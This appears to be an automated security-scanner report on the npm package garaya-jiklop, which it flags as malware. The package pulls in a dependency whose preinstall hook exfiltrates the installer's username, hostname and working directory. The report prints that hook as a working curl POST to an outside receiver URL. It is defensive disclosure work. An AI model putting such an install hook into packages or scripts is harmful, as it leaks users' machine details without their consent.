registry / Data exfiltration / garaya-jiklop
garaya-jiklop
Generated package
This report shows the evidence for garaya-jiklop@1.0.0. 1 of 2 known versions is blocked or flagged. See all versions.
AI Security Review
scanned 10h ago · by lpm-firewall-aiThe package depends on a package whose preinstall hook sends the installer’s username, hostname, and working directory to a remote receiver without consent. This is install-time data exfiltration.
Static reason
No blocking static signals were detected.
Trigger
Installing garaya-jiklop installs its dependency and runs that dependency’s preinstall hook.
Impact
The receiver learns the installer’s username, machine hostname, and current working directory without consent.
Mechanism
The hook uses curl to POST whoami, hostname, and pwd values to the staging receiver.
Attack narrative
During installation, the dependency’s preinstall hook sends the installer’s username, hostname, and working directory to package-registry-receiver-stg.depx-research-bf0.workers.dev. The root package declares this dependency and its entrypoint requires it, so the hook is part of installing this package.
AI rationale
The package depends on a package whose preinstall hook sends the installer’s username, hostname, and working directory to a remote receiver without consent. This is install-time data exfiltration.
Evidence
.lpm-dependency-evidence-cf300fc8-41fb-4d6d-85f1-8a9503304919/0/npm-linux/package.json.lpm-dependency-evidence-cf300fc8-41fb-4d6d-85f1-8a9503304919/0/npm-darwin/package.jsonpackage.jsonindex.js
Network endpoints1
package-registry-receiver-stg.depx-research-bf0.workers.dev/api/pings
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The root package depends on macro-batch-proxy-layer from package-registry-receiver-stg.depx-research-bf0.workers.dev.
- The dependency’s Linux preinstall hook POSTs the install username, hostname, and working directory to that host.
- The dependency’s Darwin preinstall hook also POSTs the install username, hostname, and working directory.
- The root entrypoint directly requires the dependency.
Evidence against
- The root package manifest declares no lifecycle scripts of its own.
- The dependency’s prepared entrypoint only exports its name and version; the exfiltration is in its install hook.
Behavioral surface
Trivial
Source & flagged code
4 flaggedpackage.jsonView file
12"dependencies": {
"macro-batch-proxy-layer": "https://package-registry-receiver-stg.depx-research-bf0.wo
High
Ai Review Evidence
The root package depends on macro-batch-proxy-layer from package-registry-receiver-stg.depx-research-bf0.workers.dev.
package.jsonView on unpkg · L12.lpm-dependency-evidence-cf300fc8-41fb-4d6d-85f1-8a9503304919/0/npm-linux/package.jsonView file
12"scripts": {
"preinstall": "curl -X POST -H 'Content-Type: application/json' https://package-registry-receiver-stg.depx-research-bf0.workers.dev/api/pings --data '{\"event_id\":\"f891c7d5-63e6-4b08-9419-77b610cded1e\", \"source_type\":\"http\", \"package\":\"garaya-jiklop\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'"
}
}
High
Suspicious Lifecycle Evidence
The dependency’s Linux preinstall hook POSTs the install username, hostname, and working directory to that host.
.lpm-dependency-evidence-cf300fc8-41fb-4d6d-85f1-8a9503304919/0/npm-linux/package.jsonView on unpkg · L12Findings
4 High
HighAi Review Evidencepackage.json
HighSuspicious Lifecycle Evidence.lpm-dependency-evidence-cf300fc8-41fb-4d6d-85f1-8a9503304919/0/npm-linux/package.json
HighSuspicious Lifecycle Evidence.lpm-dependency-evidence-cf300fc8-41fb-4d6d-85f1-8a9503304919/0/npm-darwin/package.json
HighSuspicious Dependency Evidenceindex.js
Affected versions and remediation
This report applies to garaya-jiklop@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing garaya-jiklop@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.